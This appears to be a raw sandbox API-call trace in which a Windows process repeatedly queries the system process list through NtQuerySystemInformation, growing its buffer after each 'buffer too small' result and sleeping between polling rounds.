	[0069.707] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.707] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0069.708] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.708] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0069.708] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.708] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0069.708] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.709] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0069.709] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.709] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0069.709] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.710] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0069.712] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.712] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0069.712] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.712] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0069.713] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.713] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0069.713] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.713] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0069.714] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.714] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0069.714] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.714] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0069.714] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.715] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0069.715] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.715] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0069.715] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.716] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0069.716] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.716] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0069.716] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.717] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0069.717] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.717] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0069.717] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.718] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0069.718] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.718] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0069.718] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.719] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0069.719] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.719] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0069.719] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.720] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0069.720] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0069.722] Sleep (dwMilliseconds=0x64) 
	[0069.928] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28898b8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28898b8, ResultLength=0x0) returned 0xc0000004
	[0069.938] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28898b8, Size=0x2048) returned 0x28be6a0
	[0069.938] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be6a0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28be6a0, ResultLength=0x0) returned 0xc0000004
	[0069.938] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be6a0, Size=0x306c) returned 0x2894bd8
	[0069.938] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0069.939] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0069.939] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0069.939] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0069.939] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.940] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0069.940] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.940] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0069.940] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.940] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0069.941] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.941] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0069.941] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.941] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0069.941] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.942] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0069.942] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.942] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0069.942] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.942] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0069.942] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.943] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0069.943] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.943] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0069.943] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.944] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0069.944] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.944] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0069.944] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.944] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0069.944] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.945] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0069.947] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.947] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0069.947] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.947] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0069.948] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.948] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0069.949] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.949] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0069.949] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.949] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0069.949] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.950] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0069.950] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.950] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0069.950] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.951] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0069.951] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.951] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0069.951] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.952] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0069.952] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.952] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0069.952] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.953] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0069.953] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.953] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0069.953] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.954] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0069.954] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.954] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0069.954] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.955] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0069.955] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.955] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0069.955] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0069.958] Sleep (dwMilliseconds=0x64) 
	[0070.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882180, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2882180, ResultLength=0x0) returned 0xc0000004
	[0070.234] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882180, Size=0x2048) returned 0x28be6a0
	[0070.234] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be6a0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28be6a0, ResultLength=0x0) returned 0xc0000004
	[0070.234] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be6a0, Size=0x306c) returned 0x2894bd8
	[0070.235] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0070.235] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0070.235] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0070.236] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0070.236] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.237] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0070.237] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.237] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0070.237] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.237] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0070.237] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.238] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0070.238] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.238] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0070.238] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.238] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0070.238] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.239] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0070.239] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.239] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0070.239] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.240] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0070.240] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.240] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0070.240] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.240] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0070.240] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.241] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0070.241] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.241] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0070.241] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.242] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0070.244] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.244] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0070.244] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.244] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0070.245] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.245] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0070.245] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.246] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0070.246] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.246] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0070.246] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.247] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0070.247] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.247] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0070.247] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.248] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0070.248] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.248] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0070.248] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
